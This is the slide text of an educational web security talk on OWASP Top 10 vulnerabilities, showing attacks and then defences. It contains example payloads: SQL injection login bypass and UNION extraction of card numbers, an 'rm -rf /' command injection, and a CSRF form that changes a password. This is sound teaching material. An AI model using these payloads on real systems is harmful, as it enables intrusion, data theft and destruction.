The goal of this talk is to educate developers on common security vulnerabilities, how they are exploited, and how to protect against them. We'll explore several of the OWASP Top 10 attack vectors like SQL injection, XSS, CSRF, session hijacking, and insecure direct object references. Each topic will be approached from the perspective of an attacker to see how these vulnerabilities are detected and exploited using several realistic examples. Once we've established an understanding of how these attacks work, we'll look at concrete steps you can take to secure web applications against such vulnerabilities. The knowledge gained from this talk can also be used for participating in "Capture the Flag" security competitions.
2. Colin O’Dell
@colinodell
Lead Web Developer at Unleashed Technologies
PHP developer since 2002
league/commonmark maintainer
PHP 7 Upgrade Guide e-book author
php[world] 2015 CtF winner
3. Goals
Explore several top security vulnerabilities
from the perspective of an attacker.
1. Understand how to detect and exploit
common vulnerabilities
2. Learn how to protect against those
vulnerabilities
4. Disclaimers
1.NEVER test systems that aren’t
yours without explicit permission.
2.Examples in this talk are fictional, but
the vulnerability behaviors shown are
very real.
10. SQL Injection Basics
$value = $_REQUEST['value'];
SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' ";
$sql = "SELECT * FROM x WHERE y = '$value' ";
$database->query($sql);
14. tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL
syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near "password'" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin'
AND password = 'password'';
$
$
15. tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL
syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near "password'" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin'
AND password = 'password'';
$
~~
$
18. tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL
syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near "' test" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin'
AND password = '' test';
$
$
19. tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL
syntax; check the manual that corresponds to
your MySQL server version for the right syntax
to use near "' test" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin'
AND password = '' test';
$
$
~~~~~~~~
20. ~~~~~~~~
SELECT * FROM users WHERE username = 'admin'
AND password = '' test';
SELECT * FROM users WHERE username = 'admin'
AND password = '';
SELECT * FROM users WHERE username = 'admin'
AND password = '' OR (something that is true);
SELECT * FROM users WHERE username = 'admin'
AND (true);
SELECT * FROM users WHERE username = 'admin';
21. SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
' test
22. SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
' test
SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
~~~~~~~~~~~~~~~
23. SELECT * FROM users WHERE username = 'admin' AND
password = ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = ' ';
24. SELECT * FROM users WHERE username = 'admin' AND
password = '' ';
'
SELECT * FROM users WHERE username = 'admin' AND
password = '' ';
~~~
25. SELECT * FROM users WHERE username = 'admin' AND
password = '' ' ';
' '
SELECT * FROM users WHERE username = 'admin' AND
password = '' ' ';
~~~~~~~~~~~~~~
26. SELECT * FROM users WHERE username = 'admin' AND
password = '' OR ' ';
' OR '
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR ' ';
27. SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'='1';
' OR '1'='1
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'='1';
33. Username
Password
Log In
admin
' AND (SELECT id FROM user LIMIT 1) = '
Unknown error.
ErrorsQuery
SELECT * FROM users WHERE username = 'admin' AND
password = '' AND (SELECT id FROM user LIMIT 1) = '';
38. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/123
SELECT * FROM books WHERE id = 123
$id = …;
$sql = "SELECT title, author, price
FROM books WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => 'The Great Gatsby',
'author' => 'F. Scott Fitzgerald',
'price' => 9.75
}
39. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999
SELECT * FROM books WHERE id = 99999
$id = …;
$sql = "SELECT title, author, price
FROM books WHERE id = " . $id;
$data = $database->query($sql);
{
}
40. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/?????
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price
FROM books WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
41. SQL UNION Query
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Column 1 Column 2 Column 3
Foo Bar 123
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Foo Bar 123
UNION
42. SQL UNION Query
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Column 1 Column 2 Column 3
(SELECT) 1 1
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
(SELECT) 1 1
UNION
44. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number FROM
creditcards
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price
FROM books WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
45. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS
'title', 1 AS 'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price
FROM books WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
46. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS
'title', 1 AS 'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = 99999
UNION SELECT number AS 'title', 1 AS
'author', 1 AS 'price' FROM
creditcards
$id = …;
$sql = "SELECT title, author, price
FROM books WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}
47. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS
'title', 1 AS 'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = 99999
UNION SELECT number AS 'title', 1 AS
'author', 1 AS 'price' FROM
creditcards
$id = …;
$sql = "SELECT title, author, price
FROM books WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '4012-3456-7890-1234',
'author' => 1,
'price' => 1
}
48. $val = $_REQUEST['value'];
$sql = "SELECT * FROM x WHERE y = '$val' ";
$database->query($sql);
Protecting Against
SQL Injection
Block input with special
characters
49. Protecting Against
SQL Injection
Block input with special
characters
Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1' = '1 ' OR '1' = '1
mysqli_real_escape_string()
SELECT * FROM x
WHERE y = '' OR '1' = '1'
50. Protecting Against
SQL Injection
Block input with special
characters
Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1' = '1 ' OR '1' = '1
mysqli_real_escape_string()
SELECT * FROM x
WHERE y = '' OR '1' = '1'
51. Protecting Against
SQL Injection
Block input with special
characters
Escape user input
Use prepared statements
$mysqli = new mysqli("localhost", "user", "pass", "db");
$q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' ");
$q->bind_param(1, $_REQUEST['value']);
$q->execute();
Native PHP:
● mysqli
● pdo_mysql
Frameworks / Libraries:
● Doctrine
● Eloquent
● Zend_Db
52. Other Types of Injection
NoSQL databases
OS Commands
LDAP Queries
SMTP Headers
$file = $_GET['filename'];
shell_exec("rm uploads/{$file}");
/rm.php?filename=foo.jpg+%26%26+rm+-rf+%2F
rm uploads/foo.jpg && rm -rf /
53. XSS
Cross-Site Scripting
Injecting code into the
webpage (for other users)
• Execute malicious
scripts
• Hijack sessions
• Install malware
• Deface websites
54. XSS Attack
Basics
$value = $_POST['value'];
$value = $rssFeed->first->title;
$value = db_fetch('SELECT x FROM table');
<?php echo $value ?>
Raw code/script
is injected onto a page
55. XSS – Cross-Site Scripting Basics
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
61. XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
Short URL: http://short.ly/3bs8a
Original URL:
hello world!
OK
X
62. XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
Short URL: http://short.ly/3bs8a
Original URL:
73. CSRF
Cross-Site Request Forgery
Execute unwanted actions
on another site which user
is logged in to.
• Change password
• Transfer funds
• Anything the user can
do
74. CSRF – Cross-Site Request Forgery
Hi Facebook! I am
colinodell and my
password is *****.
Welcome Colin!
Here’s your
news feed.
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
75. CSRF – Cross-Site Request Forgery
Hi other website!
Show me your
homepage.
Sure, here you go!
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
77. CSRF – Cross-Site Request Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
Tell Facebook we want to
change our password to
hacked123
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
78. CSRF – Cross-Site Request Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
Hi Facebook! Please
change my
password to
hacked123.
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
Done!
80. CSRF – Cross-Site Request Forgery
short.ly
Please wait while we redirect you to
X
81. Protecting
Against CSRF
Attacks
Use randomized CSRF
tokens
<input type="hidden" name="token"
value="ao3i4yw90sae8rhsdrf">
1. Generate a random string per user.
2. Store it in their session.
3. Add to form as hidden field.
4. Compare submitted value to session
1. Same token? Proceed.
2. Different/missing? Reject the request.
89. Protecting Against
Insecure Direct
Object References
Check permission on
data input
• URL / route parameters
• Form field inputs
• Basically anything that’s an ID
• If they don’t have permission,
show a 403 (or 404) page
90. Protecting Against
Insecure Direct
Object References
Check permission on
data input
Check permission on
data output
• Do they have permission to
access this object?
• Do they have permission to
even know this exists?
• This is not “security through
obscurity”
98. Private information that is stored, transmitted, or backed-up in
clear text (or with weak encryption)
• Customer information
• Credit card numbers
• Credentials
Sensitive Data Exposure
99. Security Misconfiguration & Components with Known Vulnerabilities
Default accounts enabled; weak passwords
• admin / admin
Security configuration
• Does SSH grant root access?
• Are weak encryption keys used?
Out-of-date software
• Old versions with known issues
• Are the versions exposed?
• Unused software running (DROWN attack)
103. Protecting Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
Keep software up-to-date
• Install critical updates immediately
• Install other updates regularly
104. Protecting Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
• Files which provide version numbers
• README, CHANGELOG, .git, composer.lock
• Database credentials & API keys
• Encryption keys
105. Protecting Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
Use strong encryption
• Encrypt with a strong private key
• Encrypt backups and data-in-transit
• Use strong hashing techniques for
passwords
106. Protecting Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
Use strong encryption
Test your systems
• Scan your systems with automated
tools
• Test critical components yourself
• Automated tests
• Manual tests
107. Next Steps
Test your own applications for vulnerabilities
Learn more about security & ethical hacking
Enter security competitions (like CtF)
Stay informed